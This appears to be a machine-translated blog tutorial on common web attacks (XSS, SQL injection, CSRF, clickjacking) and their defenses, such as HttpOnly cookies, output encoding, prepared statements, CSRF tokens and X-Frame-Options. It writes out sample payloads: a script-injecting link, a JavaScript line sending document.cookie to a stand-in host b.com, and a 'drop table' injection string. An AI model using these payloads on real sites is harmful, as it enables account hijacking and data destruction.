Web security Technology (4)-common attacks and defenses

For a Web application, there are many different attacks that can be faced. The following sections describe some common attack methods, as well as the defenses against these attacks.

One, cross-site scripting attacks (XSS)

The full name of the cross-site scripting attack is the crossing sites script, which is abbreviated as XSS in order to differentiate it from the style sheet. This occurs because the Web site outputs user input to the page, where malicious code may be executed by the browser.

Cross-site scripting attacks can be divided into two types:

1). Reflection Type XSS

It is by convincing the user to open a malicious link, the server renders the malicious code of the parameters in the link to the page, and then passes it to the user for execution by the browser, thus achieving the purpose of the attack. As the following link:

http://a.com/a.jsp?name=xss<script>alert(1)</script>

A.jsp renders the page as the following HTML:

Hello xss<script>alert(1)</script>

The browser will then pop up a prompt.

2). Persistent XSS

Persistent XSS submits malicious code to the server and is stored on the server side, which is more harmful when the user accesses the relevant content and renders it to the page for the purpose of the attack.

For example, an attacker wrote a blog with malicious JS Code, and when the article was published, all users who visited the blog post would execute the malicious JS.

Cookie Hijacking

Cookies generally hold the current user's login credentials, if available, often means direct access to user accounts, and cookie hijacking is also the most common XSS attack. In the case of the reflective XSS mentioned above, you can do this as follows:

First, convince the user to open the following link:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>

After the user opens the link, the B.js is loaded and the code in the B.js is executed. The following JS code is stored in the b.js:

var img = document.createElement("img");img.src = "http://b.com/log?" + escape(document.cookie);document.body.appendChild(img);

The code above asks B.Com for a picture, but actually sends a cookie on the current page to the B.Com server. This completes the process of stealing cookies.

An easy way to defend against cookie hijacking is to add the HttpOnly identity to the Set-cookie, and the browser prohibits JavaScript from accessing cookies with HttpOnly attributes.

The defense of XSS

1). Input check

Check the input data, such as the user name is only allowed to be letters and numbers, the mailbox must be the specified format. Be sure to check in the background, or the data may bypass the front-end check to be sent directly to the server. The general front and back end are checked so that the frontend can block out most of the invalid data.

The special characters are encoded or filtered, but because they do not know the context of the output, it is possible to do inappropriate filtering, preferably at the time of the output specific processing.

2). Output check

Executes HTMLEncode on content rendered into HTML, performing javascriptencode on content rendered into JavaScript.

You can also use some open source projects that do XSS checking.

Second, SQL injection

SQL injection is often heard, similar to XSS, because user-submitted data is executed as a command. Here is an example of a SQL injection:

String sql = "select * from user where username = ‘" + username + "‘";

Like the SQL statement above, if the user submits the username parameter is Leo, the database executes the SQL:

select * from user where username = ‘leo‘

But if the user submits the username parameter is Leo '; drop table user–, the SQL executed is:

select * from user where username = ‘leo‘; drop table user--‘

After querying the data, an operation to delete the table is performed, which results in a very serious consequence.

The defense of SQL injection

The best way to prevent SQL injection is to use a precompiled statement, as shown here:

String sql = "select * from user where username = ?";PreparedStatement pstmt = conn.prepareStatement(sql);pstmt.setString(1, username);ResultSet results = pstmt.executeQuery();

The precompiled methods of different languages are different, but they can be processed basically.

If you encounter an inability to use precompiled methods, you can only check and encode parameters as you would prevent XSS.

Third, cross-site request forgery (CSRF)

Cross-site request forgery is the full name of forgery, which is due to the fact that all parameters required by the operation can be obtained by the attacker, thus constructing a forged request to be executed without the user's knowledge. Take a look at the following example:

If the A.com site requires users to log in after the blog can be deleted, delete the blog request address is as follows:

GET http://a.com/blog/delete?id=1

When the user logs in to a.com, the http://b.com/b.html is opened, which has the following content:

At this point will be the user in a.com to send http://a.com/blog/delete?id=1, delete the blog post.

CSRF's defense

1. Verification Code

CSRF is a network situation that is constructed without the user's knowledge, and the verification Code forces the user to interact with the application, so the verification code can be very good to prevent csrf. But you cannot add a verification code to any request.

1. Referer Check

Checking the Referer in the header of the request can also help prevent CSRF attacks, but the server does not always get referer, and the browser may not send Referer for security or privacy, so it is not commonly used. It is the image of the anti-theft chain used a lot.

1. Anti CSRF Token

More is to generate a random token, the user submits the data while submitting the token, the server side of the comparison if not correct, then refused to perform the operation.

Four, click Hijack (ClickJacking)

Click Hijack is visually deceiving the user. An attacker overwrites a Web page with a transparent IFRAME, enticing the user to operate on the page, while the actual click is on a transparent IFRAME page.

Click Hijack to extend a lot of attack methods, there are pictures covered attack, drag hijacking and so on.

Click to hijack the defense

For an IFRAME attack, an HTTP header can be used: X-frame-options, which has three selectable values:

• DENY: Prevents any page frame from loading;
• Sameorigin: Only the frame of the homologous page can be loaded;
• Allow-from: You can define a page address that allows frame loading.

For image overlay attacks, note the use of anti-XSS methods to prevent HTML and JS injection.

Subscription Number:

Original address: http://blog.gopersist.com/2015/04/25/web-security-4/

Web security Technology (4)-common attacks and defenses